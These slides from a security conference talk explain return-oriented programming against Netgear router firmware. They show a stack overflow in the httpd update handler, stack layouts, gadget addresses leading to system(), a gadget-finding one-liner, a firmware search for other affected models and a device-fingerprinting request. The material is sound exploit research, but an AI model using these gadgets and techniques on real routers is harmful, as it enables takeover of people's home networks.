Embedded Device ROP Tips and Tricks - Netgear

Jeffball

Intro

jeffball

- @jeffball55
- https://github.com/jeffball55
- DC949

Motivation

Why IOT? - It's easy and I'm lazy

- Stack Cookies?
- No W^X (sometimes)
- Bad/No ASLR
- Lots of easily exploited bugs

Why this talk?

- Multi-device vulnerabilities

Netgear R7000

https://www.netgear.com/support/product/R7000

```
jeff@lastin:/tmp/r7000$ binwalk -e R7000-V1.0.9.88_10.2.88.chk

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
58            0x3A            TRX firmware header, little endian, image size: 31649792
86            0x56            LZMA compressed data, properties: 0x5D, dictionary size:
2221466       0x21E59A        Squashfs filesystem, little endian, version 4.0, compres

jeff@lastin:/tmp/r7000$ ls _R7000-V1.0.9.88_10.2.88.chk.extracted/squashfs-root/
bin  data  dev  etc  lib  media  mnt  opt  proc  sbin  share  sys  tmp  usr  var  www
```

```
unsigned __int8 *user_input2; // r4@1
int checksum_byte1; // r8@2
int checksum_byte2; // r9@2
int checksum_byte3; // r11@2
int size_byte1_and_4; // r7@2
int size_byte2; // r1@2
int size_byte3; // r3@2
int checksum_byte4; // r10@2
int size; // r7@2
int calculated_checksum; // r4@2
const char *board_id; // r0@4
const char *board_id2; // r0@5
char stack_buffer[100]; // [sp+4h] [bp-8Ch]@2

user_input2 = user_input;
memcpy(header_buffer, user_input, 0x31u);
header_buffer[50] = 0;
if ( strcmp(user_input2, "*#$^") )
  return -1;
checksum_byte1 = user_input2[39];
checksum_byte2 = user_input2[38];
size_byte1_and_4 = user_input2[7] + (user_input2[4] << 24);
size_byte2 = user_input2[6];
size_byte3 = user_input2[5];
user_input2[37] = 0;
user_input2[36] = 0;
size = size_byte1_and_4 + (size_byte2 << 8) + (size_byte3 << 16);
memcpy(stack_buffer, user_input2, size);
calculate_checksum(1, stack_buffer, size);
calculated_checksum = calculate_checksum(2, 0, 0);
```

```
                MOV             R0, #0
                B               function_epilogue
; ---------------------------------------------------------------------------

return_negative_one

                MOV             R0, #0xFFFFFFFF

function_epilogue

                ADD             SP, SP, #0x6C
                LDMFD           SP!, {R4-R11,PC}

-0000008C stack_buffer  DCB 100 dup(?)
-00000028 padding       DCD ?
-00000024 r4            DCD ?
-00000020 r5            DCD ?
-0000001C r6            DCD ?
-00000018 r7            DCD ?
-00000014 r8            DCD ?
-00000010 r9            DCD ?
-0000000C r10           DCD ?
-00000008 r11           DCD ?
-00000004 pc            DCD ?
+00000000
+00000000 ; end of stack variables
```

ARM ROP – Easy Case

```
.text:0003CFAC    MOV     R4, SP
.text:0003CFB0    BL      sprintf
.text:0003CFB4    MOV     R0, SP   ; command
.text:0003CFB8    BL      system
```

Automating ARM ROP Gadget Selection

```
jeff@lastin:/tmp/r7000$ objdump -d httpd | grep "bl.*system" -B 1 | grep "mov.*r0, sp" -A 1
Unrecognised disassembler option: intel
   3cfb4:       e1a0000d        mov     r0, sp
   3cfb8:       ebff4649        bl      e8e4 <system@plt>
--
   9355c:       e1a0000d        mov     r0, sp
   93560:       ebfdecdf        bl      e8e4 <system@plt>
--
   a6e9c:       e1a0000d        mov     r0, sp
   a6ea0:       ebfd9e8f        bl      e8e4 <system@plt>
--
   a77f8:       e1a0000d        mov     r0, sp
   a77fc:       ebfd9c38        bl      e8e4 <system@plt>
--
   aaa2c:       e1a0000d        mov     r0, sp
   aaa30:       ebfd8fab        bl      e8e4 <system@plt>
--
   aac78:       e1a0000d        mov     r0, sp
   aac7c:       ebfd8f18        bl      e8e4 <system@plt>
--
   aacc8:       e1a0000d        mov     r0, sp
   aaccc:       ebfd8f04        bl      e8e4 <system@plt>
--
   aad90:       e1a0000d        mov     r0, sp
   aad94:       ebfd8ed2        bl      e8e4 <system@plt>
--
   aaee8:       e1a0000d        mov     r0, sp
   aaeec:       ebfd8e7c        bl      e8e4 <system@plt>
--
```

Finding Other Devices

Download and unpack other firmware

Run find and grep

- `find -name httpd -exec grep '*#$^' {} \;`

```
jeff@lastin:/tmp/r7000/httpds$ find -name 'httpd*' -exec grep '*#$^' {} \; 2> /dev/null
Binary file ./httpd_MBR624GU_Firmware_Version_6.01.30.64__All_regions_except_North_America
Binary file ./httpd_WNR3500Lv2-V1.2.0.44_40.0.84 matches
Binary file ./httpd_MBM621_Firmware_Version_1.1.3 matches
Binary file ./httpd_EX6100-V1.0.2.16_1.1.130 matches
Binary file ./httpd_R6250-V1.0.4.14_10.1.17 matches
Binary file ./httpd_R6400-V1.0.1.26_1.0.19 matches
Binary file ./httpd_WN2500RP-V1.0.0.30_1.0.58 matches
Binary file ./httpd_R6300-V1.0.2.80_1.0.59 matches
Binary file ./httpd_WGR614v10-V1.0.2.66_60.0.90NA matches
Binary file ./httpd_WNR3500L_V1.2.2.48_35.0.55NA matches
Binary file ./httpd_R6900P-V1.2.0.22_1.0.78 matches
Binary file ./httpd_WNDR4500-V1.0.1.46_1.0.76 matches
```

Fingerprinting Devices

```
jeff@lastin:~$ curl http://192.168.1.1/currentsetting.htm
Firmware=V1.0.9.26_10.2.31
RegionTag=R7000_NA
Region=us
Model=R7000
InternetConnectionStatus=Down
ParentalControlSupported=1
CircleEnabled=0
OpenDNSEnabled=0
SOAPVersion=3.21
LoginMethod=2.0
ReadyShareSupportedLevel=29
XCloudSupported=1
DeviceMode=0
```

WGR614v9

```
lw      $ra, 0x98+saved_ra($sp)
lw      $s3, 0x98+saved_s3($sp)
lw      $s2, 0x98+saved_s2($sp)
lw      $s1, 0x98+saved_s1($sp)
lw      $s0, 0x98+saved_s0($sp)
move    $v0, $v1
addiu   $sp, 0x98
jr      $ra
nop
```

```
-00000080 stack_buffer:   .byte 100 dup(?)
-0000001C padding:        .word ?
-00000018 saved_s0:       .word ?
-00000014 saved_s1:       .word ?
-00000010 saved_s2:       .word ?
-0000000C saved_s3:       .word ?
-00000008 padding2:       .word ?
-00000004 saved_ra:       .word ?
+00000000
+00000000  # end of stack variables
```

```
.text:00450288    nop
.text:0045028C    lw      $gp, 0x268+saved_gp($sp)
.text:00450290    addiu   $a0, $sp, 0x30
.text:00450294    la      $t9, system
.text:00450298    nop
.text:0045029C    jalr    $t9 ; system
.text:004502A0    nop
```

DGN2200M

```
lw      $ra, 0x9C($sp)
lw      $s6, 0x98($sp)
lw      $s5, 0x94($sp)
lw      $s4, 0x90($sp)
lw      $s3, 0x8C($sp)
lw      $s2, 0x88($sp)
lw      $s1, 0x84($sp)
lw      $s0, 0x80($sp)
jr      $ra
addiu   $sp, 0xA0
```

```
-00000088 stack_buffer:    .byte 100 dup(?)
-00000024 padding:         .word ?
-00000020 saved_s0:        .word ?
-0000001C saved_s1:        .word ?
-00000018 saved_s2:        .word ?
-00000014 saved_s3:        .word ?
-00000010 saved_s4:        .word ?
-0000000C saved_s5:        .word ?
-00000008 saved_s6:        .word ?
-00000004 saved_ra:        .word ?
+00000000
+00000000  # end of stack variables
```

system to the rescue

```
.text:00486B70   la       $t9, system
.text:00486B74   jalr     $t9 ; system
.text:00486B78   move     $a0, $s0
.text:00486B7C   lw       $gp, 0x10($sp)
.text:00486B80   lw       $ra, 0x84($sp)
.text:00486B84   lw       $s0, 0x80($sp)
.text:00486B88   li       $v0, 1
.text:00486B8C   jr       $ra
.text:00486B90   addiu    $sp, 0x88
```

```
.text:00411F84   sb       $v1, 0x60+var_48($sp)
.text:00411F88   jalr     $t9 ; memset
.text:00411F8C   addiu    $a0, $sp, 0x19
```

WNDR3700v3

```
lw      $v0, 0xB0+ret($fp)
move    $sp, $fp
lw      $ra, 0xB0+saved_ra($sp)
lw      $fp, 0xB0+saved_fp($sp)
addiu   $sp, 0xB0
jr      $ra
nop
```

```
0074 stack_buffer:    .byte 100 dup(?)
0010 ret:             .word ?
000C padding:         .word ?
0008 saved_fp:        .word ?
0004 saved_ra:        .word ?
0000 arg_0:           .word ?
0004 arg_4:           .word ?
0008
0008  # end of stack variables
```

```
lw      $gp, 0xB0+saved_gp($fp)
addiu   $v0, $fp, 0x44
move    $a0, $v0              # command
la      $t9, system
nop
jalr    $t9 ; system
nop
lw      $gp, 0xB0+saved_gp($fp)
```

Fixing the Frame Pointer

```
move      $fp, $sp
sw        $gp, 0x10($sp)
li        $v0, 0x530000
nop
lbu       $v0, (byte_52A964 - 0x530000)($v0)
nop
sb        $v0, 0x24($fp)
addiu     $v0, $fp, 0x25
li        $v1, 0x3FF
move      $a0, $v0              # s
move      $a1, $zero            # c
move      $a2, $v1              # n
la        $t9, memset
nop
jalr      $t9 ; memset
nop
```

MIPS Library Calls

IDA abstracts function pointer loading away, but it's actually a load from the `$gp` register

```
lw      $gp, 0xB0+saved_gp($fp)
addiu   $v0, $fp, 0x44
move    $a0, $v0            # command
la      $t9, system
nop
jalr    $t9 ; system
nop
lw      $gp, 0xB0+saved_gp($fp)
```

```
lw      gp,16(s8)
addiu   v0,s8,68
move    a0,v0
lw      t9,-29152(gp)
nop
jalr    t9
nop
```

```
lw      $gp, 0x10($sp)
nop
lw      $ra, 0x1C($sp)
jr      $ra
addiu   $sp, 0x20
```

Fin

Questions?

More Info:

https://blog.grimm-co.com/2020/06/soho-device-exploitation.html

https://github.com/grimm-co/NotQuite0DayFriday/tree/master/2020.06.15-netgear